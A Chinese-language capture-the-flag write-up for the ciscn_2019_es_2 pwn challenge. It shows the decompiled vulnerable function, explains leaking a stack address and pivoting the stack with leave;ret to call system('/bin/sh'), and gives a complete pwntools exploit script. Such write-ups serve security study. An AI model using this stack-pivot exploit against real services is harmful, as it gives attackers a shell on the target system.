ciscn_2019_es_2
题目链接:ciscn_2019_es_2。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
其中 vul 函数如下。
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
经过调试可知,vul 函数在第一次 read 以及 printf 时,可以泄露 Stack 地址或 LIBC 基址其中之一。
并且,vul 函数在第二次 read 时,可以覆盖返回地址,但也仅能覆盖返回地址,无法传入参数。
本机调试时发现,可以使用 One_GadGet GetShell,但在 Buuoj 环境中,所有的 One_GadGet 均无法 GetShell。
因此,解题思路如下:
- 第一次 read 与 printf 时,选择泄露 Stack 地址。
- 第二次 read 时,执行栈劫持,同时,布置好栈内容,写入字符串 "/bin/sh",此处需要将栈劫持到原来的栈的上方,调用 system,并控制好传参。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .text:080485FD leave
# .text:080485FE retn
s(0x24 * b'a')
ru(0x24 * b'a')
VAR_ADDR = uu32(r(4)) - 228
Payload = p32(0x0) + p32(ELF_FILE.plt['system']) + p32(0x0) + p32(VAR_ADDR + 0x10) + b"/bin/sh\x00"
Payload = Payload.ljust(0x28, b'a') + p32(VAR_ADDR) + p32(0x080485FD)
s(Payload)
irt()
pwn()

浙公网安备 33010602011771号